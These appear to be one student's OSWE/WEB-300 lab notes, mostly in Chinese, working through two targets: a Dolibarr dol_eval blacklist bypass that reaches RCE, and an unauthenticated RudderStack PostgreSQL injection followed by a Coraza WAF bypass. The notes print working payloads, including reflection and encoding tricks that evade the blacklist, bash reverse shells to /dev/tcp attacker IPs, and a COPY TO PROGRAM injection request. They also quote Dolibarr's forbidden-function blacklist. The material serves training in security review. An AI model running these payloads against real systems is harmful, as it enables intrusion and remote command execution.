[OSWE, WEB-300] Instructional notes - Part 6
[OSWE, WEB-300] Instructional notes - Part 6
Table of Contents
[TOC]
Link back to: "[OSWE, WEB-300] Instructional notes - Part 1"
Link back to: "[OSWE, WEB-300] Instructional notes - Part 2"
Link back to: "[OSWE, WEB-300] Instructional notes - Part 3"
Link back to: "[OSWE, WEB-300] Instructional notes - Part 4"
Link back to: "[OSWE, WEB-300] Instructional notes - Part 5"
Dolibarr Eval Filter Bypass RCE
許多程式語言的 core libraries 或 default functionality 中包含 Potentially 且 Inherently 危險函數
雖然這些函數的性質因語言而異,但它們通常能夠直接操作 memory、在不檢查 memory allocation 情況下執行操作、run application code 或運行 OS commands
分析 enterprise resource planning (ERP) 和 customer relationship management (CRM) 常用的 Dolibarr 防護邏輯並繞過
Getting Started
Using the Lab
- Code server: http://dolibarr:8000

(studentlab 登入)
VSCode code-server
- SSH:
student:studentlab
- Web: http://dolibarr/dolibarr/
(admin:studentlab登入)
Enabling Step Debugging
啟用 Debugging
Overview of Dangerous Functions
在分析 source code 時,特別注意可能導致 serious vulnerabilities 的危險 functions
若使用者將輸入傳遞給這些 functions,或許可以建構惡意輸入來利用漏洞
C 語言的 gets() 當例子:
char *gets( char *str );
從 stdin 讀資料直接放進 buffer,完全不檢查長度
例如:
char buf[10];
gets(buf);
若輸入
AAAAAAAAAAAAAAAAAAAA就會 overflow
Overflow 可能覆蓋 return address, saved registers, function pointers
最後控制 RIP/EIP
→ shellcode execution
→ RCE
JavaScript eval()
JavaScript、 PHP 和 Python 各自都有自己的eval() function。通常,函數會像處理原始程式碼一樣評估字串,並傳回結果值
以 JS 為例,透過 Web Developer Tools 的 Console tab 實作
eval("3+4")
當 JavaScript 運算式執行
eval("console.log('hello eval world')")
字串內容會被當成 JavaScript function call 執行
Note📝: 若 user input 進入前端 eval()
👉🏻 攻擊者可以執行任意 JavaScript
👉🏻 本質就是 XSS
" client-side eval injection "
PHP eval()
PHP 的 eval() 更直接危險,因為 PHP 通常跑在 server 上
SSH 連線至環境範例,實作 PHP:

eval("3+4")
eval("echo exec('whoami');");
只執行
exec('whoami');不會顯示結果
- eval() → 執行 PHP code
- exec('whoami') → 執行 OS command
- echo → 把結果印出來
Vulnerability Discovery
先找 dangerous sink 再往回追 controllable input
在 review source code 是否存在漏洞時,可以採用的一種方法尋找 dangerous functions
首先要辨識資料 sinks,若找到危險函數可以追溯其來源,找到輸入來源
| Sink | 危險行為 |
|---|---|
eval() | 執行 PHP code |
exec() | 執行 OS command |
system() | 執行 shell command |
include() | 動態載入檔案 |
unserialize() | Object injection |
Dolibarr Source Code Analysis
回到環境範例:http://dolibarr:8000/?workspace=/home/student/dolibarr.code-workspace
搜尋 dangerous function: exec(), passthru(), system(), shell_exec()
276 results in 101 files
發現好幾個結果都與 dol_eval() function 相關
利用 eval(可以更精準找到單純 eval function 的內容
縮小到 31 results in 14 files
在 htdocs/core/lib/functions.lib.php 中 L8943:
(依據檔名能夠猜測是核心共用 library)
8943 /**
8944 * Replace eval function to add more security.
8945 * This function is called by verifCond() or trans() and transnoentitiesnoconv().
8946 *
8947 * @param string $s String to evaluate
8948 * @param int $returnvalue 0=No return (used to execute eval($a=something)). 1=Value of eval is returned (used to eval($something)).
8949 * @param int $hideerrors 1=Hide errors
8950 * @param string $onlysimplestring '0' (used for computed property of extrafields)=Accept all chars, '1' (most common use)=Accept only simple string with char 'a-z0-9\s^$_+-.*>&|=!?():"\',/@';', '2' (not used)=Accept also ';[]'
8951 * @return mixed Nothing or return result of eval
8952 */
8953 function dol_eval($s, $returnvalue = 0, $hideerrors = 1, $onlysimplestring = '1')
0=No return (used to execute eval($a=something)). 1=Value of eval is returned (used to eval($something))公佈答案:dol_eval()函數是eval()函數的安全替代方案 函數使用$onlysimplestring值來決定允許哪些字元,需要進一步審查函數了解此檢查的工作原理以及其他任何保護性控制措施
可得知防護核心是 Character Filtering,同時在 L9051 能夠看到
9051 if ($returnvalue) {
9052 if ($hideerrors) {
9053 return @eval('return '.$s.';');
9054 } else {
9055 return eval('return '.$s.';');
9056 }
9057 } else {
9058 if ($hideerrors) {
9059 @eval($s);
9060 } else {
9061 eval($s);
9062 }
9063 }
可以看出開發者不想讓頁面跳出 Error message
return eval(‘return ‘.$s.’;’): 若$s = "3+4"會輸出eval('return 3+4;');- else
@eval($s);: $s 可以是完整 PHP code@eval(...): suppress error 隱藏 PHP error message BTW@是 error control operator
現在已知 dol_eval() 最終會呼叫 eval()
👉🏻 找誰呼叫 dol_eval()
131 results in 56 files
wrapper 被整個系統大量使用
Understanding the Filter Conditions
分析 Dolibarr 怎麼防 eval injection:
$onlysimplestring 決定了該 函數允許輸入哪些字元。讓我們回顧一下它的實現,它從第 8969 行開始。
8968 // Test on dangerous char (used for RCE), we allow only characters to make PHP variable testing
8969 if ($onlysimplestring == '1') {
8970 // We must accept: '1 && getDolGlobalInt("doesnotexist1") && $conf->global->MAIN_FEATURES_LEVEL'
8971 // We must accept: '$conf->barcode->enabled || preg_match(\'/^AAA/\',$leftmenu)'
8972 // We must accept: '$user->rights->cabinetmed->read && !$object->canvas=="patient@cabinetmed"'
8973 if (preg_match('/[^a-z0-9\s'.preg_quote('^$_+-.*>&|=!?():"\',/@', '/').']/i', $s)) {
8974 if ($returnvalue) {
8975 return 'Bad string syntax to evaluate (found chars that are not chars for simplestring): '.$s;
8976 } else {
8977 dol_syslog('Bad string syntax to evaluate (found chars that are not chars for simplestring): '.$s);
8978 return '';
8979 }
8980 // TODO
8981 // We can exclude all parenthesis ( that are not '($db' and 'getDolGlobalInt(' and 'getDolGlobalString(' and 'preg_match(' and 'isModEnabled('
8982 // ...
8983 }
8984 } elseif ($onlysimplestring == '2') {
8985 // We must accept: (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref : "Parent project not found"
8986 if (preg_match('/[^a-z0-9\s'.preg_quote('^$_+-.*>&|=!?():"\',/@;[]', '/').']/i', $s)) {
8987 if ($returnvalue) {
8988 return 'Bad string syntax to evaluate (found chars that are not chars for simplestring): '.$s;
8989 } else {
8990 dol_syslog('Bad string syntax to evaluate (found chars that are not chars for simplestring): '.$s);
8991 return '';
8992 }
8993 }
8994 }
- mode 1:
允許a-z,0-9,空白, 部分特殊字元- mode 2:
多允許[]
(在 PHP 中$arr[0]需要[]做 array index access)
🧠:當 $onlysimplestring = '0' 或 $onlysimplestring = 'chw'不在 if/else 中,完全不會做字元過濾
在 L8995-9021 仍有過濾特殊字元
8995 if (is_array($s) || $s === 'Array') {
8996 return 'Bad string syntax to evaluate (value is Array) '.var_export($s, true);
8997 }
8998 if (strpos($s, '::') !== false) {
8999 if ($returnvalue) {
9000 return 'Bad string syntax to evaluate (double : char is forbidden): '.$s;
9001 } else {
9002 dol_syslog('Bad string syntax to evaluate (double : char is forbidden): '.$s);
9003 return '';
9004 }
9005 }
9006 if (strpos($s, '`') !== false) {
9007 if ($returnvalue) {
9008 return 'Bad string syntax to evaluate (backtick char is forbidden): '.$s;
9009 } else {
9010 dol_syslog('Bad string syntax to evaluate (backtick char is forbidden): '.$s);
9011 return '';
9012 }
9013 }
9014 if (preg_match('/[^0-9]+\.[^0-9]+/', $s)) { // We refuse . if not between 2 numbers
9015 if ($returnvalue) {
9016 return 'Bad string syntax to evaluate (dot char is forbidden): '.$s;
9017 } else {
9018 dol_syslog('Bad string syntax to evaluate (dot char is forbidden): '.$s);
9019 return '';
9020 }
9021 }
額外阻擋:
:: ` .
- 為什麼擋
:::Class::method()是 Scope Resolution Operator 可呼叫 static method,Ex.ReflectionFunction::export()- 為什麼擋 backtick :
whoami等於shell_exec("whoami"),backtick 本身就是 command execution- 為什麼擋 dot (.):
"a"."b"是 String Concatenation,可以拆組字串繞過防護
最後一組檢查在 L9023-9038 Forbidden Functions
9023 // We block use of php exec or php file functions
9024 $forbiddenphpstrings = array('$$');
9025 $forbiddenphpstrings = array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST'));
9026
9027 $forbiddenphpfunctions = array("exec", "passthru", "shell_exec", "system", "proc_open", "popen", "eval", "dol_eval", "executeCLI", "verifCond", "base64_decode");
9028 $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("fopen", "file_put_contents", "fputs", "fputscsv", "fwrite", "fpassthru", "require", "include", "mkdir", "rmdir", "symlink", "touch", "unlink", "umask"));
9029 $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("function", "call_user_func"));
9030
9031 $forbiddenphpregex = 'global\s+\$|\b('.implode('|', $forbiddenphpfunctions).')\b';
9032
9033 do {
9034 $oldstringtoclean = $s;
9035 $s = str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);
9036 $s = preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s);
9037 //$s = preg_replace('/\$[a-zA-Z0-9_\->\$]+\(/i', '', $s); // Remove $function( call and $mycall->mymethod(
9038 } while ($oldstringtoclean != $s);
- forbiddenphpstrings 禁止
$_GET,$_POST,$_REQUEST,$_COOKIE,$_SESSION- forbiddenphpfunctions 禁止
exec,system,shell_exec,eval,base64_decode,include,require,fopen,unlink- 阻擋 base64_decode (Encoding 還包含 URL encoding, hex, octal, unicode, chr())
$s = preg_replace(...): Regex Replace 直接替換字串exec("id")會變成__forbiddenstring__("id")
開發者想阻止 RCE, File Write, LFI/RFI 等行為
Dolibarr 的防護是:
- Character Restriction
- 禁止特殊 operator
- Blacklist Dangerous Function
- Replace Forbidden String 不是 parser-level protection,string replacement
Filter Bypass the Hard Way
🧠: 不出現 exec 字串,能不能呼叫 exec?
SSH 登入透過 function 列出目前 PHP 所有 function
print_r(get_defined_functions());

驗證是否可以根據 array index 呼叫函數
嘗試呼叫 strlen()函數,根據輸出位於「internal」陣列的索引 4
php > echo get_defined_functions()["internal"][4]("hello world");
11
在查看get_defined_functions()傳回的完整值清單可以發現 Index 550
php > print_r(get_defined_functions());
Array
(
[internal] => Array
(
...
[550] => exec
[551] => system
[552] => passthru
[553] => escapeshellcmd
[554] => escapeshellarg
[555] => shell_exec
...
String Function Invocation
php > echo get_defined_functions()["internal"][550]("whoami");
student

= exec("whoami")
blacklist 也抓不到
若利用 array_search() 搜尋 exec 在哪個 index,但 blacklist 又禁止的情況下
👉🏻 URL Encoding
php > echo urldecode("%65%78%65%63");
exec
構造搜尋語句
php > echo array_search(urldecode("%65%78%65%63"), get_defined_functions()["internal"]);
550
php > echo get_defined_functions()["internal"][array_search(urldecode("%65%78%65%63"), get_defined_functions()["internal"])]("whoami");
student
現在 exploit chain 已經有了,需要找到適合的 sink context
Bypass Security Filter to Trigger Eval
找出哪裡可以把 payload 丟進 dol_eval()
目前已知 dol_eval() → 最終會 eval($s)
且能夠 indirect invoke exec()
exploit 還缺最後一步: 找
dol_eval(..., '', ...)
讓 filter 不會生效
Finding the Target
找 exploitable call site,並不是所有 dol_eval() 都能 exploit
需要找 onlysimplestring != 1 && != 2
dol_eval\(\$[\w\[\]']+,\s\d,\s\d,\s'(?!1|2)'\)
搜尋
dol_eval(...)最後一個參數不是 1 或 2

都在
commonobject.class.php
insertExtraFields()updateExtraFields()showOutputField()都有
dol_eval(..., '')
查看 showOutputField() function:
🧠:WHY showOutputField()?
return HTML string to show a field into a page
當使用 whoami 時需要將 command output 顯示出來
7432 /**
7433 * Return HTML string to show a field into a page
7434 * Code very similar with showOutputField of extra fields
7435 *
7436 * @param array $val Array of properties of field to show
7437 * @param string $key Key of attribute
7438 * @param string $value Preselected value to show (for date type it must be in timestamp format, for amount or price it must be a php numeric value)
7439 * @param string $moreparam To add more parametes on html input tag
7440 * @param string $keysuffix Prefix string to add into name and id of field (can be used to avoid duplicate names)
7441 * @param string $keyprefix Suffix string to add into name and id of field (can be used to avoid duplicate names)
7442 * @param mixed $morecss Value for css to define size. May also be a numeric.
7443 * @return string
7444 */
7445 public function showOutputField($val, $key, $value, $moreparam = '', $keysuffix = '', $keyprefix = '', $morecss = '')
7446 {
...
7476 $computed = empty($val['computed']) ? '' : $val['computed'];
...
7511 // If field is a computed field, value must become result of compute
7512 if ($computed) {
7513 // Make the eval of compute string
7514 //var_dump($computed);
7515 $value = dol_eval($computed, 1, 0, '');
7516 }
...
7845 $out = $value;
7846
7847 return $out;
7848 }
$computed = $val['computed'];:
若$val['computed']可控,那$computed可控\$value = dol_eval($computed, 1, 0, '');onlysimplestring = ''不做字元限制
Code flow :
User Input
→ $computed
→ dol_eval()
→ eval()
→ return output
→ 顯示在 HTML
41 /**
42 * Parent class of all other business classes (invoices, contracts, proposals, orders, ...)
43 */
44 abstract class CommonObject
45 {
abstract class CommonObject是 Parent Class 所有 extends CommonObject 的 class 都可以繼承這個漏洞

154 results in 130 files
可以擴大攻擊面
直接從 UI 找 reachable functionality
admin:studentlab 登入 http://dolibarr/dolibarr/index.php
查看 http://dolibarr/dolibarr/admin/modules.php?mainmenu=home 哪些 module 已啟用
只有 Users & Groups module 啟用:
子選項的 "Complementary attributes (Users)" 允許定義自訂 attributes 包括 Computed field
與之前發現易受攻擊的功能相符
點擊加號(+)新增一個屬性,並查看 Computed field
"any PHP coding to get a dynamic computed value" 🤔 For Hacker: User-controlled PHP code execution
先測試 4+7,確認 input 是否真的進 eval()

payload 真的被 eval
真正 exploit
get_defined_functions()["internal"][array_search(urldecode("%65%78%65%63"), get_defined_functions()["internal"])]("whoami");
在 http://dolibarr/dolibarr/user/list.php 能夠查看 Users List 觸發:
Getting a Reverse Shell
get_defined_functions()['internal'][array_search(urldecode("%65%78%65%63"), get_defined_functions()['internal'])]("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.189/8888 0>&1'");

Users List 觸發:\
(Kali)
┌──(chw💲CHW)-[~]
└─$ nc -nvlp 8888
[2026-05-17 11:07:48] nc -nvlp 8888
listening on [any] 8888 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.204.141] 42796
bash: cannot set terminal process group (1249): Inappropriate ioctl for device
bash: no job control in this shell
<arr-243-154:/usr/share/dolibarr/htdocs/user/admin$whoami
whoami
www-data
www-data@dolibarr:/usr/share/dolibarr/htdocs/user/admin$
Filter Bypass Revisited
Blocklist 永遠擋不完,環境範例 Dolibarr 把危險字串 blacklist 掉
→ eval 就安全
🥚 問題在於 PHP 太 dynamic
除了 exec('id'),可以間接做到
- 間接呼叫
- 動態產生字串
- reflection
- encoding
- string manipulation
🧠:分析 restriction 思考 PHP 還剩什麼 primitive
Using Reflection
Reflection 是程式在 runtime 操作自己的能力,例如: 動態建立 class、動態呼叫 method、取得 function metadata
PHP ReflectionFunction 根據 function name 建立 function object (new ReflectionFunction("exec"))
然後 invoke() 等於做到 然後 invoke()
Different Encodings
⚠️ Encoding 不只有 Base64
- gzip:
gzencode(),gzdecode() - str_rot13(): PHP 內建
str_rot13() - Hex Encoding
Alternate String Modifications
不用 encoding 做 Dynamic String Construction
- str_replace():
str_replace("z", "e", "zxzc")
runtime 結果仍是 exec
- implode():
implode("x", array("e","ec"))
- strip_tags():
strip_tags("ex<a>ec")
[環境範例]
Harden 過的 Blacklist rule
Payload:\
(new ReflectionFunction(str_replace("z","e","zxzc")))->invoke("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.189/8888 0>&1'");


RudderStack SQLi and Coraza WAF Bypass
API + SQL Injection + WAF Bypass 很典型的現代 Web/API assessment
Getting Started
RudderStack 是 Customer Data Platform (CDP),類似 Segment、Mixpanel、Analytics pipeline
會接收大量 event data、tracking data、user analytics
因為大量 dynamic query、filtering、search、reporting、aggregation 常有 SQLi
Web UI:
http://rudderstack:8000/?folder=/home/student
可以存取 code-server 可透過瀏覽器存取的 Visual Studio Code (VSCode)student:studentlab登入
SSH:
student:studentlab登入
RudderStack VM 使用 docker 運行 RudderStack 和 OWASP Coraza WAF
| Container | 用途 |
|---|---|
| student_caddy_1 | Reverse proxy + WAF |
| student_backend_1 | RudderStack backend |
| student_db_1 | PostgreSQL |
查看 docker 架構目的在於: 可以同時測:
- Port 80 Client → WAF → Backend
- Port 8080 Client → Backend directly
可以透過這個架構測試 WAF blocked? 還是 backend blocked?
- 8080 成功代表 backend vulnerable
- 80 被擋代表 WAF 規則攔截
在嘗試 WAF bypass 過程中可以得知是 SQL syntax 還是 Payload Signature
docker exec 可以進到 container:
docker exec -it student_db_1 /bin/sh
Container Inspection 可能會需要看 DB schema、logs、WAF config、CRS rule 等等
RudderStack SQL Injection Vulnerability
從 Source Code 找 unauthenticated SQLi
如何從大型 Go API 專案做 attack surface enumeration
Discovering the SQL Injection Vulnerability
API Attack Surface Enumeration
從 API versioning 下手:
透過 rudderstack API documentation 可以得知 /v1/, /v2/
API routing 通常有固定 pattern,例如 /api/, /v1/, /graphql, /rest, /internal
到 Code server http://rudderstack:8000/?folder=/home/student/rudder-server-1.2.5.

搜尋 *.go (需要排除 *_test.go 過濾污染結果)
40 results in 9 files.
在 gateway.go 有多個結果包含字串,字串似乎是傳遞給 HandleFunc() function 的 API 路徑
分析 StartWebHandler() function 的開頭部分包含了gateway.go 檔案中的大部分搜尋結果
1417 /*
1418 StartWebHandler starts all gateway web handlers, listening on gateway port.
1419 Supports CORS from all origins.
1420 This function will block.
1421 */
1422 func (gateway *HandleT) StartWebHandler(ctx context.Context) error {
1423 gateway.logger.Infof("WebHandler waiting for BackendConfig before starting on %d", webPort)
1424 gateway.backendConfig.WaitForConfig(ctx)
1425 gateway.logger.Infof("WebHandler Starting on %d", webPort)
1426
1427 srvMux := mux.NewRouter()
1428 srvMux.Use(
1429 middleware.StatMiddleware(ctx, srvMux),
1430 middleware.LimitConcurrentRequests(maxConcurrentRequests),
1431 )
1432 srvMux.HandleFunc("/v1/batch", gateway.webBatchHandler).Methods("POST")
1433 srvMux.HandleFunc("/v1/identify", gateway.webIdentifyHandler).Methods("POST")
1434 srvMux.HandleFunc("/v1/track", gateway.webTrackHandler).Methods("POST")
直接瀏覽 source 看 endpoint 就不用透過 fuzzing path
啟動 Web 處理 process,程式碼使用 srvMux 物件的 HandleFunc() 函數註冊每個端點
查看 gateway.go 檔案開頭的導入語句,會發現程式碼導入了 github.com/gorilla/mux ,是一個請求 router 和 dispatcher 會將 URL 路徑對應到處理程序
Ex. 若 application 收到一個發送到 /v1/batch的 POST request,會將該請求傳遞給 gateway.webBatchHandler
用 Burp Suite 觀察 request 並 COPY ALL 貼到 Kali 整理
┌──(chw💲CHW)-[~/Offsec/OSWE/rudderstack]
└─$ head routes.txt
/home/student/rudder-server-1.2.5/cmd/devtool/commands/event.go
60,24: url := fmt.Sprintf("%s/v1/batch", c.String("endpoint"))
/home/student/rudder-server-1.2.5/config/backend-config/namespace_config.go
84,35: u.Path = fmt.Sprintf("/data-plane/v1/namespaces/%s/config", nc.Namespace)
/home/student/rudder-server-1.2.5/gateway/gateway.go
989,24: uri := fmt.Sprintf(`%s/v1/warehouse/pending-events?triggerUpload=true`, misc.GetWarehouseURL())
1432,21: srvMux.HandleFunc("/v1/batch", gateway.webBatchHandler).Methods("POST")
1433,21: srvMux.HandleFunc("/v1/identify", gateway.webIdentifyHandler).Methods("POST")
Semi-automated Route Extraction
┌──(chw💲CHW)-[~/Offsec/OSWE/rudderstack]
└─$ grep -e "/v" routes.txt | cut -d "(" -f 2 | cut -d "," -f 1 | cut -d "\"" -f 2
%s/v1/batch
/data-plane/v1/namespaces/%s/config
`%s/v1/warehouse/pending-events?triggerUpload=true`
/v1/batch
/v1/identify
/v1/track
/v1/page
/v1/screen
/v1/alias
...
建立 endpoint wordlist: routes_clean.txt
rep -e "/v" routes.txt | cut -d "(" -f 2 | cut -d "," -f 1 | cut -d "\"" -f 2 | sort > routes_clean.txt

接著透過 Burp Intruder 做動態測試
掛 Burp 瀏覽 http://rudderstack:8080/
將 HTTP request 與 endpoint 都加入 payload positions
建立 wordlist
快速找 reachable endpoint 和 unexpected behavior
/v1/warehouse/pending-events?triggerUpload=truePOST: 回應 400
can’t unmarshall body
Go
json.Unmarshal()代表 JSON Parsing
得知 endpoint 真的存在且期待 JSON body
將回應 400 的 6 個 endpoint 紀錄並回到 source code 分析\

快速定位 vulnerable logic,查看 gateway.go
1462 srvMux.HandleFunc("/v1/pending-events", WithContentType("application/json; charset=utf-8", gateway.pendingEventsHandler)).Methods("POST")
1463 srvMux.HandleFunc("/v1/failed-events", WithContentType("application/json; charset=utf-8", gateway.fetchFailedEventsHandler)).Methods("POST")
1464 srvMux.HandleFunc("/v1/warehouse/pending-events", gateway.whProxy.ServeHTTP).Methods("POST")
1465 srvMux.HandleFunc("/v1/clear-failed-events", gateway.clearFailedEventsHandler).Methods("POST")
- L1464 沒有為
/v1/warehouse/pending-events定義 content type- L1462 和 L1463 已將預期內容類型設為 JSON
回到 Burp 使用 Content-Type: application/json 送出:
"empty source id".
再回到 IDE 搜尋
3 results in 2 files
warehouse.go
1673 // unmarshall body
1674 var pendingEventsReq warehouseutils.PendingEventsRequestT
1675 err = json.Unmarshal(body, &pendingEventsReq)
1676 if err != nil {
1677 pkgLogger.Errorf("[WH]: Error unmarshalling body: %v", err)
1678 http.Error(w, "can't unmarshall body", http.StatusBadRequest)
1679 return
1680 }
1681
1682 sourceID := pendingEventsReq.SourceID
1683
1684 // return error if source id is empty
1685 if sourceID == "" {
1686 pkgLogger.Errorf("[WH]: pending-events: Empty source id")
1687 http.Error(w, "empty source id", http.StatusBadRequest)
1688 return
1689 }
- L1682 定義 sourceID 變數
由於 request中缺少必要的值,因此 L1685 的 if 判斷為 true,導致收到 L1687 的 error message- L1674 將 pendingEventsReq 的類型宣告為
warehouseutils.PendingEventsRequestT
在 IDE 中搜尋 PendingEventsRequestT 可以在warehouse/utils/utils.go 的 L321-324 找到它被宣告為一個 struct
321 type PendingEventsRequestT struct {
322 SourceID string `json:"source_id"`
323 TaskRunID string `json:"task_run_id"`
324 }
重新構造 Request ,需要在 JSON body 中包含 source_id 和 task_run_id
HTTP 200 代表構造成功且無需身份驗證即可呼叫 API
warehouse.go 的 pendingEventsHandler() function
1691 pendingEvents := false
1692 var pendingStagingFileCount int64
1693 var pendingUploadCount int64
1694
1695 // check whether there are any pending staging files or uploads for the given source id
1696 // get pending staging files
1697 pendingStagingFileCount, err = getPendingStagingFileCount(sourceID, true)
1698 if err != nil {
1699 err := fmt.Errorf("error getting pending staging file count : %v", err)
1700 pkgLogger.Errorf("[WH]: %v", err)
1701 http.Error(w, err.Error(), http.StatusInternalServerError)
1702 return
1703 }
L1697 行將 sourceID 值傳遞給 getPendingStagingFileCount() 函數
在 L1777 行找到 getPendingStagingFileCount()
1777 func getPendingStagingFileCount(sourceOrDestId string, isSourceId bool) (fileCount int64, err error) {
1778 sourceOrDestColumn := ""
1779 if isSourceId {
1780 sourceOrDestColumn = "source_id"
1781 } else {
1782 sourceOrDestColumn = "destination_id"
1783 }
1784 var lastStagingFileIDRes sql.NullInt64
1785 sqlStatement := fmt.Sprintf(`
1786 SELECT
1787 MAX(end_staging_file_id)
1788 FROM
1789 %[1]s
1790 WHERE
1791 %[1]s.%[3]s = '%[2]s';
1792 `,
1793 warehouseutils.WarehouseUploadsTable,
1794 sourceOrDestId,
1795 sourceOrDestColumn,
1796 )
1797
1798 err = dbHandle.QueryRow(sqlStatement).Scan(&lastStagingFileIDRes)
- L1785 - 1796 使用 Sprintf() 建立 SQL 語句,此函數將 sourceOrDestId 值寫入 SQL 語句中
看似於參數化查詢,但實際不具備任何防止 SQLi 的保護措施。程式碼建立了sqlStatement 並將 user 提供的值插入 WHERE 子句的 sourceOrDestId 欄位中- L1798 行執行 SQL 語句。由於程式碼透過字串格式化將第 1793 行到 1795 行的變數寫入了sqlStatement對象,因此這些變數不會作為參數傳遞給 dbHandle.QueryRow()函數。
Exploiting the SQL Injection Vulnerability
測試上述路徑與 SQL 未過濾的特性:
傳送到 /v1/warehouse/pending-events 的 source_id 值,並將其寫入 SQL 語句 (source_id:"'")
pq: unterminated quoted string at or near "''';"
- quote 可逃脫
- payload 真的進 SQL
- backend 沒 parameterized query
- DB engine 是 PostgreSQL
PostgreSQL 與其他 SQL 的 schema 不相同
- MySQL:
INTO OUTFILE UDF
- MSSQL:
xp_cmdshell OLE automation
- PostgreSQL:
COPY TO PROGRAM large object extensions
PostgreSQL 支援 stacked query
1; select 2 FROM wh_uploads; -- -

由於回應中沒有 error 推斷資料庫已執行了第二個 query
下一步尋找 PostgreSQL 有哪些 dangerous capability?
- COPY command: 若 DB user 擁有
pg_read_server_files或pg_write_server_filesroles,則可以利用指令將資料複製到本機檔案或從本機檔案複製資料
若 DB user 擁有pg_execute_server_programrole,COPY 指令也可以將資料複製到 program 或 command
PostgreSQL 支援COPY ... TO PROGRAM代表 DB Server 可執行 OS command
在黑盒測試中,需要透過反覆試驗來確定資料庫使用者擁有哪些權限
詳細的 errr message 也可能揭示注入 payload 是否因權限不足而失敗
COPY 函數呼叫 wget 向 Kali 發送請求
(Kali)

┌──(chw💲CHW)-[~]
└─$ python3 -m http.server 9000
[2026-05-18 04:27:51] python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
192.168.120.144 - - [29/Feb/2024 15:26:01] code 404, message File not found
192.168.120.144 - - [29/Feb/2024 15:26:01] "GET /it_worked HTTP/1.1" 404 -
Reverse shell:
POST /v1/warehouse/pending-events?tiggerUpload=true HTTP/1.1
Host: rudderstack:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 127
{
"source_id":"'; COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/192.168.45.165/8888 0>&1\"'; -- -",
"task_run_id":"1"
}

Bypassing a Web Application Firewall
WAF Evasion: WAF ≠ Security Boundary
- WAF 是 parser
- Backend 也是 parser
兩邊 interpretation 不一致,就能 WAF Bypass
What is a WAF?
WAF 類似 network firewalls,但專門為 Web application 和 HTTP(S) traffic 設計的
- WAF 運行在 OSI model 的 application layer (7)
- 普通防火牆通常運行在 network layer (3)
WAF 不只看 request 也可能看 response: credit card, password, secret
或加 CSP、security header 等等

Getting Started with Coraza WAF
範例環境使用 container 運行 Caddy,其中安裝了 OWASP Coraza module
實際分析 WAF,Coraza 是 Open-source WAF Engine 使用 ModSecurity Core Rule Set (CRS)
使用docker logs+ container name ,查看 Caddy 和 Coraza 的 log files,使用-n 指定 log 行數
docker logs -n 5 student_caddy_1

Triggering the WAF
利用先前的 SQLi payload 再次送出新的環境範例
{ "source_id":"'; copy (select 'a') to program 'wget -q http://192.168.45.165:9000/it_worked' -- - ", "task_run_id":"1"}

顯示 403 資訊有限 (也驗證 WAF 阻擋)
使用 ' 測試:
500 SQL error
也代表 WAF 並不是看到單引號就擋Signature-based Detection
查看 log:
student@rudder:~$ docker logs -n 5 student_caddy_1
{"level":"debug","ts":1709242735.4946961,"logger":"http.handlers.reverse_proxy","msg":"selected upstream","dial":"backend:8080","total_upstreams":1}
{"level":"debug","ts":1709242735.4958072,"logger":"http.handlers.reverse_proxy","msg":"upstream roundtrip","upstream":"backend:8080","duration":0.001060348,"request":{"remote_ip":"192.168.48.2","remote_port":"61683","client_ip":"192.168.48.2","proto":"HTTP/1.1","method":"POST","host":"rudderstack:80","uri":"/v1/warehouse/pending-events?triggerUpload=true","headers":{"Content-Length":["42"],"Accept-Encoding":["gzip, deflate, br"],"X-Forwarded-For":["192.168.48.2"],"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36"],"Accept":["text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"],"X-Forwarded-Proto":["http"],"Upgrade-Insecure-Requests":["1"],"Content-Type":["application/json"],"Accept-Language":["en-US,en;q=0.9"],"X-Forwarded-Host":["rudderstack:80"]}},"headers":{"Vary":["Origin"],"X-Content-Type-Options":["nosniff"],"Content-Length":["227"],"Content-Type":["text/plain; charset=utf-8"],"Date":["Thu, 29 Feb 2024 21:38:55 GMT"]},"status":500}
{"level":"error","ts":1709242946.2066061,"logger":"http.handlers.waf","msg":"[client \"192.168.48.2\"] Coraza: Warning. SQL Authentication bypass (split query) [file \"/ruleset/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf\"] [line \"9227\"] [id \"942540\"] [rev \"\"] [msg \"SQL Authentication bypass (split query)\"] [data \"Matched Data: '; found within ARGS:json.source_id: ';\"] [severity \"critical\"] [ver \"OWASP_CRS/4.0.1-dev\"]
Coraza: Warning. SQL Authentication bypass (split query) [file \"/ruleset/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf\"] [line \"9227\"] [id \"942540\"]
942540 就是 CRS Rule ID
能夠得知因為';被擋
Analyzing the WAF Ruleset
Reverse Engineering WAF Rule
在 /home/student/caddy/ruleset/rules/ 找到 REQUEST-942-APPLICATION-ATTACK-SQLI.conf
要在 code-server 上查看該文件, 可以訪問 http://rudderstack:8000/?folder=/home/student/caddy
開啟目錄,搜尋 "SQL Authentication bypass (split query)"
L547 行:
# This rule catches an authentication bypass via SQL injection that abuses semi-colons to end the SQL query early.
